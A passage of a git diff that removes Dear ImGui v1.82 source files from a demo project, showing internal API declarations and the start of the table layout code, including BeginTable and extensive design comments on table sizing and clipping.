DebugNodeColumns(ImGuiOldColumns* columns); - IMGUI_API void DebugNodeDrawList(ImGuiWindow* window, const ImDrawList* draw_list, const char* label); - IMGUI_API void DebugNodeDrawCmdShowMeshAndBoundingBox(ImDrawList* out_draw_list, const ImDrawList* draw_list, const ImDrawCmd* draw_cmd, bool show_mesh, bool show_aabb); - IMGUI_API void DebugNodeStorage(ImGuiStorage* storage, const char* label); - IMGUI_API void DebugNodeTabBar(ImGuiTabBar* tab_bar, const char* label); - IMGUI_API void DebugNodeTable(ImGuiTable* table); - IMGUI_API void DebugNodeTableSettings(ImGuiTableSettings* settings); - IMGUI_API void DebugNodeWindow(ImGuiWindow* window, const char* label); - IMGUI_API void DebugNodeWindowSettings(ImGuiWindowSettings* settings); - IMGUI_API void DebugNodeWindowsList(ImVector* windows, const char* label); - IMGUI_API void DebugNodeViewport(ImGuiViewportP* viewport); - IMGUI_API void DebugRenderViewportThumbnail(ImDrawList* draw_list, ImGuiViewportP* viewport, const ImRect& bb); - -} // namespace ImGui - - -//----------------------------------------------------------------------------- -// [SECTION] ImFontAtlas internal API -//----------------------------------------------------------------------------- - -// This structure is likely to evolve as we add support for incremental atlas updates -struct ImFontBuilderIO -{ - bool (*FontBuilder_Build)(ImFontAtlas* atlas); -}; - -// Helper for font builder -IMGUI_API const ImFontBuilderIO* ImFontAtlasGetBuilderForStbTruetype(); -IMGUI_API void ImFontAtlasBuildInit(ImFontAtlas* atlas); -IMGUI_API void ImFontAtlasBuildSetupFont(ImFontAtlas* atlas, ImFont* font, ImFontConfig* font_config, float ascent, float descent); -IMGUI_API void ImFontAtlasBuildPackCustomRects(ImFontAtlas* atlas, void* stbrp_context_opaque); -IMGUI_API void ImFontAtlasBuildFinish(ImFontAtlas* atlas); -IMGUI_API void ImFontAtlasBuildRender8bppRectFromString(ImFontAtlas* atlas, int x, int y, int w, int h, const char* in_str, char in_marker_char, unsigned char in_marker_pixel_value); -IMGUI_API void ImFontAtlasBuildRender32bppRectFromString(ImFontAtlas* atlas, int x, int y, int w, int h, const char* in_str, char in_marker_char, unsigned int in_marker_pixel_value); -IMGUI_API void ImFontAtlasBuildMultiplyCalcLookupTable(unsigned char out_table[256], float in_multiply_factor); -IMGUI_API void ImFontAtlasBuildMultiplyRectAlpha8(const unsigned char table[256], unsigned char* pixels, int x, int y, int w, int h, int stride); - -//----------------------------------------------------------------------------- -// [SECTION] Test Engine specific hooks (imgui_test_engine) -//----------------------------------------------------------------------------- - -#ifdef IMGUI_ENABLE_TEST_ENGINE -extern void ImGuiTestEngineHook_ItemAdd(ImGuiContext* ctx, const ImRect& bb, ImGuiID id); -extern void ImGuiTestEngineHook_ItemInfo(ImGuiContext* ctx, ImGuiID id, const char* label, ImGuiItemStatusFlags flags); -extern void ImGuiTestEngineHook_IdInfo(ImGuiContext* ctx, ImGuiDataType data_type, ImGuiID id, const void* data_id); -extern void ImGuiTestEngineHook_IdInfo(ImGuiContext* ctx, ImGuiDataType data_type, ImGuiID id, const void* data_id, const void* data_id_end); -extern void ImGuiTestEngineHook_Log(ImGuiContext* ctx, const char* fmt, ...); -#define IMGUI_TEST_ENGINE_ITEM_ADD(_BB,_ID) if (g.TestEngineHookItems) ImGuiTestEngineHook_ItemAdd(&g, _BB, _ID) // Register item bounding box -#define IMGUI_TEST_ENGINE_ITEM_INFO(_ID,_LABEL,_FLAGS) if (g.TestEngineHookItems) ImGuiTestEngineHook_ItemInfo(&g, _ID, _LABEL, _FLAGS) // Register item label and status flags (optional) -#define IMGUI_TEST_ENGINE_LOG(_FMT,...) if (g.TestEngineHookItems) ImGuiTestEngineHook_Log(&g, _FMT, __VA_ARGS__) // Custom log entry from user land into test log -#define IMGUI_TEST_ENGINE_ID_INFO(_ID,_TYPE,_DATA) if (g.TestEngineHookIdInfo == id) ImGuiTestEngineHook_IdInfo(&g, _TYPE, _ID, (const void*)(_DATA)); -#define IMGUI_TEST_ENGINE_ID_INFO2(_ID,_TYPE,_DATA,_DATA2) if (g.TestEngineHookIdInfo == id) ImGuiTestEngineHook_IdInfo(&g, _TYPE, _ID, (const void*)(_DATA), (const void*)(_DATA2)); -#else -#define IMGUI_TEST_ENGINE_ITEM_ADD(_BB,_ID) do { } while (0) -#define IMGUI_TEST_ENGINE_ITEM_INFO(_ID,_LABEL,_FLAGS) do { } while (0) -#define IMGUI_TEST_ENGINE_LOG(_FMT,...) do { } while (0) -#define IMGUI_TEST_ENGINE_ID_INFO(_ID,_TYPE,_DATA) do { } while (0) -#define IMGUI_TEST_ENGINE_ID_INFO2(_ID,_TYPE,_DATA,_DATA2) do { } while (0) -#endif - -//----------------------------------------------------------------------------- - -#if defined(__clang__) -#pragma clang diagnostic pop -#elif defined(__GNUC__) -#pragma GCC diagnostic pop -#endif - -#ifdef _MSC_VER -#pragma warning (pop) -#endif - -#endif // #ifndef IMGUI_DISABLE diff --git a/demos/DemoImGui/imgui_tables.cpp b/demos/DemoImGui/imgui_tables.cpp deleted file mode 100644 index 8c7f068..0000000 --- a/demos/DemoImGui/imgui_tables.cpp +++ /dev/null @@ -1,3953 +0,0 @@ -// dear imgui, v1.82 WIP -// (tables and columns code) - -/* - -Index of this file: - -// [SECTION] Commentary -// [SECTION] Header mess -// [SECTION] Tables: Main code -// [SECTION] Tables: Row changes -// [SECTION] Tables: Columns changes -// [SECTION] Tables: Columns width management -// [SECTION] Tables: Drawing -// [SECTION] Tables: Sorting -// [SECTION] Tables: Headers -// [SECTION] Tables: Context Menu -// [SECTION] Tables: Settings (.ini data) -// [SECTION] Tables: Garbage Collection -// [SECTION] Tables: Debugging -// [SECTION] Columns, BeginColumns, EndColumns, etc. - -*/ - -// Navigating this file: -// - In Visual Studio IDE: CTRL+comma ("Edit.NavigateTo") can follow symbols in comments, whereas CTRL+F12 ("Edit.GoToImplementation") cannot. -// - With Visual Assist installed: ALT+G ("VAssistX.GoToImplementation") can also follow symbols in comments. - -//----------------------------------------------------------------------------- -// [SECTION] Commentary -//----------------------------------------------------------------------------- - -//----------------------------------------------------------------------------- -// Typical tables call flow: (root level is generally public API): -//----------------------------------------------------------------------------- -// - BeginTable() user begin into a table -// | BeginChild() - (if ScrollX/ScrollY is set) -// | TableBeginInitMemory() - first time table is used -// | TableResetSettings() - on settings reset -// | TableLoadSettings() - on settings load -// | TableBeginApplyRequests() - apply queued resizing/reordering/hiding requests -// | - TableSetColumnWidth() - apply resizing width (for mouse resize, often requested by previous frame) -// | - TableUpdateColumnsWeightFromWidth()- recompute columns weights (of stretch columns) from their respective width -// - TableSetupColumn() user submit columns details (optional) -// - TableSetupScrollFreeze() user submit scroll freeze information (optional) -//----------------------------------------------------------------------------- -// - TableUpdateLayout() [Internal] followup to BeginTable(): setup everything: widths, columns positions, clipping rectangles. Automatically called by the FIRST call to TableNextRow() or TableHeadersRow(). -// | TableSetupDrawChannels() - setup ImDrawList channels -// | TableUpdateBorders() - detect hovering columns for resize, ahead of contents submission -// | TableDrawContextMenu() - draw right-click context menu -//----------------------------------------------------------------------------- -// - TableHeadersRow() or TableHeader() user submit a headers row (optional) -// | TableSortSpecsClickColumn() - when left-clicked: alter sort order and sort direction -// | TableOpenContextMenu() - when right-clicked: trigger opening of the default context menu -// - TableGetSortSpecs() user queries updated sort specs (optional, generally after submitting headers) -// - TableNextRow() user begin into a new row (also automatically called by TableHeadersRow()) -// | TableEndRow() - finish existing row -// | TableBeginRow() - add a new row -// - TableSetColumnIndex() / TableNextColumn() user begin into a cell -// | TableEndCell() - close existing column/cell -// | TableBeginCell() - enter into current column/cell -// - [...] user emit contents -//----------------------------------------------------------------------------- -// - EndTable() user ends the table -// | TableDrawBorders() - draw outer borders, inner vertical borders -// | TableMergeDrawChannels() - merge draw channels if clipping isn't required -// | EndChild() - (if ScrollX/ScrollY is set) -//----------------------------------------------------------------------------- - -//----------------------------------------------------------------------------- -// TABLE SIZING -//----------------------------------------------------------------------------- -// (Read carefully because this is subtle but it does make sense!) -//----------------------------------------------------------------------------- -// About 'outer_size': -// Its meaning needs to differ slightly depending of if we are using ScrollX/ScrollY flags. -// Default value is ImVec2(0.0f, 0.0f). -// X -// - outer_size.x <= 0.0f -> Right-align from window/work-rect right-most edge. With -FLT_MIN or 0.0f will align exactly on right-most edge. -// - outer_size.x > 0.0f -> Set Fixed width. -// Y with ScrollX/ScrollY disabled: we output table directly in current window -// - outer_size.y < 0.0f -> Bottom-align (but will auto extend, unless _NoHostExtendY is set). Not meaningful is parent window can vertically scroll. -// - outer_size.y = 0.0f -> No minimum height (but will auto extend, unless _NoHostExtendY is set) -// - outer_size.y > 0.0f -> Set Minimum height (but will auto extend, unless _NoHostExtenY is set) -// Y with ScrollX/ScrollY enabled: using a child window for scrolling -// - outer_size.y < 0.0f -> Bottom-align. Not meaningful is parent window can vertically scroll. -// - outer_size.y = 0.0f -> Bottom-align, consistent with BeginChild(). Not recommended unless table is last item in parent window. -// - outer_size.y > 0.0f -> Set Exact height. Recommended when using Scrolling on any axis. -//----------------------------------------------------------------------------- -// Outer size is also affected by the NoHostExtendX/NoHostExtendY flags. -// Important to that note how the two flags have slightly different behaviors! -// - ImGuiTableFlags_NoHostExtendX -> Make outer width auto-fit to columns (overriding outer_size.x value). Only available when ScrollX/ScrollY are disabled and Stretch columns are not used. -// - ImGuiTableFlags_NoHostExtendY -> Make outer height stop exactly at outer_size.y (prevent auto-extending table past the limit). Only available when ScrollX/ScrollY are disabled. Data below the limit will be clipped and not visible. -// In theory ImGuiTableFlags_NoHostExtendY could be the default and any non-scrolling tables with outer_size.y != 0.0f would use exact height. -// This would be consistent but perhaps less useful and more confusing (as vertically clipped items are not easily noticeable) -//----------------------------------------------------------------------------- -// About 'inner_width': -// With ScrollX disabled: -// - inner_width -> *ignored* -// With ScrollX enabled: -// - inner_width < 0.0f -> *illegal* fit in known width (right align from outer_size.x) <-- weird -// - inner_width = 0.0f -> fit in outer_width: Fixed size columns will take space they need (if avail, otherwise shrink down), Stretch columns becomes Fixed columns. -// - inner_width > 0.0f -> override scrolling width, generally to be larger than outer_size.x. Fixed column take space they need (if avail, otherwise shrink down), Stretch columns share remaining space! -//----------------------------------------------------------------------------- -// Details: -// - If you want to use Stretch columns with ScrollX, you generally need to specify 'inner_width' otherwise the concept -// of "available space" doesn't make sense. -// - Even if not really useful, we allow 'inner_width < outer_size.x' for consistency and to facilitate understanding -// of what the value does. -//----------------------------------------------------------------------------- - -//----------------------------------------------------------------------------- -// COLUMNS SIZING POLICIES -//----------------------------------------------------------------------------- -// About overriding column sizing policy and width/weight with TableSetupColumn(): -// We use a default parameter of 'init_width_or_weight == -1'. -// - with ImGuiTableColumnFlags_WidthFixed, init_width <= 0 (default) --> width is automatic -// - with ImGuiTableColumnFlags_WidthFixed, init_width > 0 (explicit) --> width is custom -// - with ImGuiTableColumnFlags_WidthStretch, init_weight <= 0 (default) --> weight is 1.0f -// - with ImGuiTableColumnFlags_WidthStretch, init_weight > 0 (explicit) --> weight is custom -// Widths are specified _without_ CellPadding. If you specify a width of 100.0f, the column will be cover (100.0f + Padding * 2.0f) -// and you can fit a 100.0f wide item in it without clipping and with full padding. -//----------------------------------------------------------------------------- -// About default sizing policy (if you don't specify a ImGuiTableColumnFlags_WidthXXXX flag) -// - with Table policy ImGuiTableFlags_SizingFixedFit --> default Column policy is ImGuiTableColumnFlags_WidthFixed, default Width is equal to contents width -// - with Table policy ImGuiTableFlags_SizingFixedSame --> default Column policy is ImGuiTableColumnFlags_WidthFixed, default Width is max of all contents width -// - with Table policy ImGuiTableFlags_SizingStretchSame --> default Column policy is ImGuiTableColumnFlags_WidthStretch, default Weight is 1.0f -// - with Table policy ImGuiTableFlags_SizingStretchWeight --> default Column policy is ImGuiTableColumnFlags_WidthStretch, default Weight is proportional to contents -// Default Width and default Weight can be overridden when calling TableSetupColumn(). -//----------------------------------------------------------------------------- -// About mixing Fixed/Auto and Stretch columns together: -// - the typical use of mixing sizing policies is: any number of LEADING Fixed columns, followed by one or two TRAILING Stretch columns. -// - using mixed policies with ScrollX does not make much sense, as using Stretch columns with ScrollX does not make much sense in the first place! -// that is, unless 'inner_width' is passed to BeginTable() to explicitly provide a total width to layout columns in. -// - when using ImGuiTableFlags_SizingFixedSame with mixed columns, only the Fixed/Auto columns will match their widths to the maximum contents width. -// - when using ImGuiTableFlags_SizingStretchSame with mixed columns, only the Stretch columns will match their weight/widths. -//----------------------------------------------------------------------------- -// About using column width: -// If a column is manual resizable or has a width specified with TableSetupColumn(): -// - you may use GetContentRegionAvail().x to query the width available in a given column. -// - right-side alignment features such as SetNextItemWidth(-x) or PushItemWidth(-x) will rely on this width. -// If the column is not resizable and has no width specified with TableSetupColumn(): -// - its width will be automatic and be the set to the max of items submitted. -// - therefore you generally cannot have ALL items of the columns use e.g. SetNextItemWidth(-FLT_MIN). -// - but if the column has one or more item of known/fixed size, this will become the reference width used by SetNextItemWidth(-FLT_MIN). -//----------------------------------------------------------------------------- - - -//----------------------------------------------------------------------------- -// TABLES CLIPPING/CULLING -//----------------------------------------------------------------------------- -// About clipping/culling of Rows in Tables: -// - For large numbers of rows, it is recommended you use ImGuiListClipper to only submit visible rows. -// ImGuiListClipper is reliant on the fact that rows are of equal height. -// See 'Demo->Tables->Vertical Scrolling' or 'Demo->Tables->Advanced' for a demo of using the clipper. -// - Note that auto-resizing columns don't play well with using the clipper. -// By default a table with _ScrollX but without _Resizable will have column auto-resize. -// So, if you want to use the clipper, make sure to either enable _Resizable, either setup columns width explicitly with _WidthFixed. -//----------------------------------------------------------------------------- -// About clipping/culling of Columns in Tables: -// - Both TableSetColumnIndex() and TableNextColumn() return true when the column is visible or performing -// width measurements. Otherwise, you may skip submitting the contents of a cell/column, BUT ONLY if you know -// it is not going to contribute to row height. -// In many situations, you may skip submitting contents for every columns but one (e.g. the first one). -// - Case A: column is not hidden by user, and at least partially in sight (most common case). -// - Case B: column is clipped / out of sight (because of scrolling or parent ClipRect): TableNextColumn() return false as a hint but we still allow layout output. -// - Case C: column is hidden explicitly by the user (e.g. via the context menu, or _DefaultHide column flag, etc.). -// -// [A] [B] [C] -// TableNextColumn(): true false false -> [userland] when TableNextColumn() / TableSetColumnIndex() return false, user can skip submitting items but only if the column doesn't contribute to row height. -// SkipItems: false false true -> [internal] when SkipItems is true, most widgets will early out if submitted, resulting is no layout output. -// ClipRect: normal zero-width zero-width -> [internal] when ClipRect is zero, ItemAdd() will return false and most widgets will early out mid-way. -// ImDrawList output: normal dummy dummy -> [internal] when using the dummy channel, ImDrawList submissions (if any) will be wasted (because cliprect is zero-width anyway). -// -// - We need distinguish those cases because non-hidden columns that are clipped outside of scrolling bounds should still contribute their height to the row. -// However, in the majority of cases, the contribution to row height is the same for all columns, or the tallest cells are known by the programmer. -//----------------------------------------------------------------------------- -// About clipping/culling of whole Tables: -// - Scrolling tables with a known outer size can be clipped earlier as BeginTable() will return false. -//----------------------------------------------------------------------------- - -//----------------------------------------------------------------------------- -// [SECTION] Header mess -//----------------------------------------------------------------------------- - -#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_WARNINGS) -#define _CRT_SECURE_NO_WARNINGS -#endif - -#include "imgui.h" -#ifndef IMGUI_DISABLE - -#ifndef IMGUI_DEFINE_MATH_OPERATORS -#define IMGUI_DEFINE_MATH_OPERATORS -#endif -#include "imgui_internal.h" - -// System includes -#if defined(_MSC_VER) && _MSC_VER <= 1500 // MSVC 2008 or earlier -#include // intptr_t -#else -#include // intptr_t -#endif - -// Visual Studio warnings -#ifdef _MSC_VER -#pragma warning (disable: 4127) // condition expression is constant -#pragma warning (disable: 4996) // 'This function or variable may be unsafe': strcpy, strdup, sprintf, vsnprintf, sscanf, fopen -#if defined(_MSC_VER) && _MSC_VER >= 1922 // MSVC 2019 16.2 or later -#pragma warning (disable: 5054) // operator '|': deprecated between enumerations of different types -#endif -#endif - -// Clang/GCC warnings with -Weverything -#if defined(__clang__) -#if __has_warning("-Wunknown-warning-option") -#pragma clang diagnostic ignored "-Wunknown-warning-option" // warning: unknown warning group 'xxx' // not all warnings are known by all Clang versions and they tend to be rename-happy.. so ignoring warnings triggers new warnings on some configuration. Great! -#endif -#pragma clang diagnostic ignored "-Wunknown-pragmas" // warning: unknown warning group 'xxx' -#pragma clang diagnostic ignored "-Wold-style-cast" // warning: use of old-style cast // yes, they are more terse. -#pragma clang diagnostic ignored "-Wfloat-equal" // warning: comparing floating point with == or != is unsafe // storing and comparing against same constants (typically 0.0f) is ok. -#pragma clang diagnostic ignored "-Wformat-nonliteral" // warning: format string is not a string literal // passing non-literal to vsnformat(). yes, user passing incorrect format strings can crash the code. -#pragma clang diagnostic ignored "-Wsign-conversion" // warning: implicit conversion changes signedness -#pragma clang diagnostic ignored "-Wzero-as-null-pointer-constant" // warning: zero as null pointer constant // some standard header variations use #define NULL 0 -#pragma clang diagnostic ignored "-Wdouble-promotion" // warning: implicit conversion from 'float' to 'double' when passing argument to function // using printf() is a misery with this as C++ va_arg ellipsis changes float to double. -#pragma clang diagnostic ignored "-Wenum-enum-conversion" // warning: bitwise operation between different enumeration types ('XXXFlags_' and 'XXXFlagsPrivate_') -#pragma clang diagnostic ignored "-Wdeprecated-enum-enum-conversion"// warning: bitwise operation between different enumeration types ('XXXFlags_' and 'XXXFlagsPrivate_') is deprecated -#pragma clang diagnostic ignored "-Wimplicit-int-float-conversion" // warning: implicit conversion from 'xxx' to 'float' may lose precision -#elif defined(__GNUC__) -#pragma GCC diagnostic ignored "-Wpragmas" // warning: unknown option after '#pragma GCC diagnostic' kind -#pragma GCC diagnostic ignored "-Wformat-nonliteral" // warning: format not a string literal, format string not checked -#pragma GCC diagnostic ignored "-Wclass-memaccess" // [__GNUC__ >= 8] warning: 'memset/memcpy' clearing/writing an object of type 'xxxx' with no trivial copy-assignment; use assignment or value-initialization instead -#endif - -//----------------------------------------------------------------------------- -// [SECTION] Tables: Main code -//----------------------------------------------------------------------------- - -// Configuration -static const int TABLE_DRAW_CHANNEL_BG0 = 0; -static const int TABLE_DRAW_CHANNEL_BG2_FROZEN = 1; -static const int TABLE_DRAW_CHANNEL_NOCLIP = 2; // When using ImGuiTableFlags_NoClip (this becomes the last visible channel) -static const float TABLE_BORDER_SIZE = 1.0f; // FIXME-TABLE: Currently hard-coded because of clipping assumptions with outer borders rendering. -static const float TABLE_RESIZE_SEPARATOR_HALF_THICKNESS = 4.0f; // Extend outside inner borders. -static const float TABLE_RESIZE_SEPARATOR_FEEDBACK_TIMER = 0.06f; // Delay/timer before making the hover feedback (color+cursor) visible because tables/columns tends to be more cramped. - -// Helper -inline ImGuiTableFlags TableFixFlags(ImGuiTableFlags flags, ImGuiWindow* outer_window) -{ - // Adjust flags: set default sizing policy - if ((flags & ImGuiTableFlags_SizingMask_) == 0) - flags |= ((flags & ImGuiTableFlags_ScrollX) || (outer_window->Flags & ImGuiWindowFlags_AlwaysAutoResize)) ? ImGuiTableFlags_SizingFixedFit : ImGuiTableFlags_SizingStretchSame; - - // Adjust flags: enable NoKeepColumnsVisible when using ImGuiTableFlags_SizingFixedSame - if ((flags & ImGuiTableFlags_SizingMask_) == ImGuiTableFlags_SizingFixedSame) - flags |= ImGuiTableFlags_NoKeepColumnsVisible; - - // Adjust flags: enforce borders when resizable - if (flags & ImGuiTableFlags_Resizable) - flags |= ImGuiTableFlags_BordersInnerV; - - // Adjust flags: disable NoHostExtendX/NoHostExtendY if we have any scrolling going on - if (flags & (ImGuiTableFlags_ScrollX | ImGuiTableFlags_ScrollY)) - flags &= ~(ImGuiTableFlags_NoHostExtendX | ImGuiTableFlags_NoHostExtendY); - - // Adjust flags: NoBordersInBodyUntilResize takes priority over NoBordersInBody - if (flags & ImGuiTableFlags_NoBordersInBodyUntilResize) - flags &= ~ImGuiTableFlags_NoBordersInBody; - - // Adjust flags: disable saved settings if there's nothing to save - if ((flags & (ImGuiTableFlags_Resizable | ImGuiTableFlags_Hideable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Sortable)) == 0) - flags |= ImGuiTableFlags_NoSavedSettings; - - // Inherit _NoSavedSettings from top-level window (child windows always have _NoSavedSettings set) -#ifdef IMGUI_HAS_DOCK - ImGuiWindow* window_for_settings = outer_window->RootWindowDockStop; -#else - ImGuiWindow* window_for_settings = outer_window->RootWindow; -#endif - if (window_for_settings->Flags & ImGuiWindowFlags_NoSavedSettings) - flags |= ImGuiTableFlags_NoSavedSettings; - - return flags; -} - -ImGuiTable* ImGui::TableFindByID(ImGuiID id) -{ - ImGuiContext& g = *GImGui; - return g.Tables.GetByKey(id); -} - -// Read about "TABLE SIZING" at the top of this file. -bool ImGui::BeginTable(const char* str_id, int columns_count, ImGuiTableFlags flags, const ImVec2& outer_size, float inner_width) -{ - ImGuiID id = GetID(str_id); - return BeginTableEx(str_id, id, columns_count, flags, outer_size, inner_width); -} - -bool ImGui::BeginTableEx(const char* name, ImGuiID id, int columns_count, ImGuiTableFlags flags, const ImVec2& outer_size, float inner_width) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* outer_window = GetCurrentWindow(); - if (outer_window->SkipItems) // Consistent with other tables + beneficial side effect that assert on miscalling EndTable() will be more visible. - return false; - - // Sanity checks - IM_ASSERT(columns_count > 0 && columns_count <= IMGUI_TABLE_MAX_COLUMNS && "Only 1..64 columns allowed!"); - if (flags & ImGuiTableFlags_ScrollX) - IM_ASSERT(inner_width >= 0.0f); - - // If an outer size is specified ahead we will be able to early out when not visible. Exact clipping rules may evolve. - const bool use_child_window = (flags & (ImGuiTableFlags_ScrollX | ImGuiTableFlags_ScrollY)) != 0; - const ImVec2 avail_size = GetContentRegionAvail(); - ImVec2 actual_outer_size = CalcItemSize(outer_size, ImMax(avail_size.x, 1.0f), use_child_window ? ImMax(avail_size.y, 1.0f) : 0.0f); - ImRect outer_rect(outer_window->DC.CursorPos, outer_window->DC.CursorPos + actual_outer_size); - if (use_child_window && IsClippedEx(outer_rect, 0, false)) - { - ItemSize(outer_rect); - return false; - } - - // Acquire storage for the table - ImGuiTable* table = g.Tables.GetOrAddByKey(id); - const int instance_no = (table->LastFrameActive != g.FrameCount) ? 0 : table->InstanceCurrent + 1; - const ImGuiID instance_id = id + instance_no; - const ImGuiTableFlags table_last_flags = table->Flags; - if (instance_no > 0) - IM_ASSERT(table->ColumnsCount == columns_count && "BeginTable(): Cannot change columns count mid-frame while preserving same ID"); - - // Fix flags - table->IsDefaultSizingPolicy = (flags & ImGuiTableFlags_SizingMask_) == 0; - flags = TableFixFlags(flags, outer_window); - - // Initialize - table->ID = id; - table->Flags = flags; - table->InstanceCurrent = (ImS16)instance_no; - table->LastFrameActive = g.FrameCount; - table->OuterWindow = table->InnerWindow = outer_window; - table->ColumnsCount = columns_count; - table->IsLayoutLocked = false; - table->InnerWidth = inner_width; - table->UserOuterSize = outer_size; - - // When not using a child window, WorkRect.Max will grow as we append contents. - if (use_child_window) - { - // Ensure no vertical scrollbar appears if we only want horizontal one, to make flag consistent - // (we have no other way to disable vertical scrollbar of a window while keeping the horizontal one showing) - ImVec2 override_content_size(FLT_MAX, FLT_MAX); - if ((flags & ImGuiTableFlags_ScrollX) && !(flags & ImGuiTableFlags_ScrollY)) - override_content_size.y = FLT_MIN; - - // Ensure specified width (when not specified, Stretched columns will act as if the width == OuterWidth and - // never lead to any scrolling). We don't handle inner_width < 0.0f, we could potentially use it to right-align - // based on the right side of the child window work rect, which would require knowing ahead if we are going to - // have decoration taking horizontal spaces (typically a vertical scrollbar). - if ((flags & ImGuiTableFlags_ScrollX) && inner_width > 0.0f) - override_content_size.x = inner_width; - - if (override_content_size.x != FLT_MAX || override_content_size.y != FLT_MAX) - SetNextWindowContentSize(ImVec2(override_content_size.x != FLT_MAX ? override_content_size.x : 0.0f, override_content_size.y != FLT_MAX ? override_content_size.y : 0.0f)); - - // Reset scroll if we are reactivating it - if ((table_last_flags & (ImGuiTableFlags_ScrollX | ImGuiTableFlags_ScrollY)) == 0) - SetNextWindowScroll(ImVec2(0.0f, 0.0f)); - - // Create scrolling region (without border and zero window padding) - ImGuiWindowFlags child_flags = (flags & ImGuiTableFlags_ScrollX) ? ImGuiWindowFlags_HorizontalScrollbar : ImGuiWindowFlags_None; - BeginChildEx(name, instance_id, outer_rect.GetSize(), false, child_flags); - table->InnerWindow = g.CurrentWindow; - table->WorkRect = table->InnerWindow->WorkRect; - table->OuterRect = table->InnerWindow->Rect(); - table->InnerRect = table->InnerWindow->InnerRect; - IM_ASSERT(table->InnerWindow->WindowPadding.x == 0.0f && table->InnerWindow->WindowPadding.y == 0.0f && table->InnerWindow->WindowBorderSize == 0.0f); - } - else - { - // For non-scrolling tables, WorkRect == OuterRect == InnerRect. - // But at this point we do NOT have a correct value for .Max.y (unless a height has been explicitly passed in). It will only be updated in EndTable(). - table->WorkRect = table->OuterRect = table->InnerRect = outer_rect; - } - - // Push a standardized ID for both child-using and not-child-using tables - PushOverrideID(instance_id); - - // Backup a copy of host window members we will modify - ImGuiWindow* inner_window = table->InnerWindow; - table->HostIndentX = inner_window->DC.Indent.x; - table->HostClipRect = inner_window->ClipRect; - table->HostSkipItems = inner_window->SkipItems; - table->HostBackupWorkRect = inner_window->WorkRect; - table->HostBackupParentWorkRect = inner_window->ParentWorkRect; - table->HostBackupColumnsOffset = outer_window->DC.ColumnsOffset; - table->HostBackupPrevLineSize = inner_window->DC.PrevLineSize; - table->HostBackupCurrLineSize = inner_window->DC.CurrLineSize; - table->HostBackupCursorMaxPos = inner_window->DC.CursorMaxPos; - table->HostBackupItemWidth = outer_window->DC.ItemWidth; - table->HostBackupItemWidthStackSize = outer_window->DC.ItemWidthStack.Size; - inner_window->DC.PrevLineSize = inner_window->DC.CurrLineSize = ImVec2(0.0f, 0.0f); - - // Padding and Spacing - // - None ........Content..... Pad .....Content........ - // - PadOuter | Pad ..Content..... Pad .....Content.. Pad | - // - PadInner ........Content.. Pad | Pad ..Content........ - // - PadOuter+PadInner | Pad ..Content.. Pad | Pad ..Content.. Pad | - const bool pad_outer_x = (flags & ImGuiTableFlags_NoPadOuterX) ? false : (flags & ImGuiTableFlags_PadOuterX) ? true : (flags & ImGuiTableFlags_BordersOuterV) != 0; - const bool pad_inner_x = (flags & ImGuiTableFlags_NoPadInnerX) ? false : true; - const float inner_spacing_for_border = (flags & ImGuiTableFlags_BordersInnerV) ? TABLE_BORDER_SIZE : 0.0f; - const float inner_spacing_explicit = (pad_inner_x && (flags & ImGuiTableFlags_BordersInnerV) == 0) ? g.Style.CellPadding.x : 0.0f; - const float inner_padding_explicit = (pad_inner_x && (flags & ImGuiTableFlags_BordersInnerV) != 0) ? g.Style.CellPadding.x : 0.0f; - table->CellSpacingX1 = inner_spacing_explicit + inner_spacing_for_border; - table->CellSpacingX2 = inner_spacing_explicit; - table->CellPaddingX = inner_padding_explicit; - table->CellPaddingY = g.Style.CellPadding.y; - - const float outer_padding_for_border = (flags & ImGuiTableFlags_BordersOuterV) ? TABLE_BORDER_SIZE : 0.0f; - const float outer_padding_explicit = pad_outer_x ? g.Style.CellPadding.x : 0.0f; - table->OuterPaddingX = (outer_padding_for_border + outer_padding_explicit) - table->CellPaddingX; - - table->CurrentColumn = -1; - table->CurrentRow = -1; - table->RowBgColorCounter = 0; - table->LastRowFlags = ImGuiTableRowFlags_None; - table->InnerClipRect = (inner_window == outer_window) ? table->WorkRect : inner_window->ClipRect; - table->InnerClipRect.ClipWith(table->WorkRect); // We need this to honor inner_width - table->InnerClipRect.ClipWithFull(table->HostClipRect); - table->InnerClipRect.Max.y = (flags & ImGuiTableFlags_NoHostExtendY) ? ImMin(table->InnerClipRect.Max.y, inner_window->WorkRect.Max.y) : inner_window->ClipRect.Max.y; - - table->RowPosY1 = table->RowPosY2 = table->WorkRect.Min.y; // This is needed somehow - table->RowTextBaseline = 0.0f; // This will be cleared again by TableBeginRow() - table->FreezeRowsRequest = table->FreezeRowsCount = 0; // This will be setup by TableSetupScrollFreeze(), if any - table->FreezeColumnsRequest = table->FreezeColumnsCount = 0; - table->IsUnfrozenRows = true; - table->DeclColumnsCount = 0; - - // Using opaque colors facilitate overlapping elements of the grid - table->BorderColorStrong = GetColorU32(ImGuiCol_TableBorderStrong); - table->BorderColorLight = GetColorU32(ImGuiCol_TableBorderLight); - - // Make table current - const int table_idx = g.Tables.GetIndex(table); - g.CurrentTableStack.push_back(ImGuiPtrOrIndex(table_idx)); - g.CurrentTable = table; - outer_window->DC.CurrentTableIdx = table_idx; - if (inner_window != outer_window) // So EndChild() within the inner window can restore the table properly. - inner_window->DC.CurrentTableIdx = table_idx; - - if ((table_last_flags & ImGuiTableFlags_Reorderable) && (flags & ImGuiTableFlags_Reorderable) == 0) - table->IsResetDisplayOrderRequest = true; - - // Mark as used - if (table_idx >= g.TablesLastTimeActive.Size) - g.TablesLastTimeActive.resize(table_idx + 1, -1.0f); - g.TablesLastTimeActive[table_idx] = (float)g.Time; - table->MemoryCompacted = false; - - // Setup memory buffer (clear data if columns count changed) - const int stored_size = table->Columns.size(); - if (stored_size != 0 && stored_size != columns_count) - { - IM_FREE(table->RawData); - table->RawData = NULL; - } - if (table->RawData == NULL) - { - TableBeginInitMemory(table, columns_count); - table->IsInitializing = table->IsSettingsRequestLoad = true; - } - if (table->IsResetAllRequest) - TableResetSettings(table); - if (table->IsInitializing) - { - // Initialize - table->SettingsOffset = -1; - table->IsSortSpecsDirty = true; - table->InstanceInteracted = -1; - table->ContextPopupColumn = -1; - table->ReorderColumn = table->ResizedColumn = table->LastResizedColumn = -1; - table->AutoFitSingleColumn = -1; - table->HoveredColumnBody = table->HoveredColumnBorder = -1; - for (int n = 0; n < columns_count; n++) - { - ImGuiTableColumn* column = &table->Columns[n]; - float width_auto = column->WidthAuto; - *column = 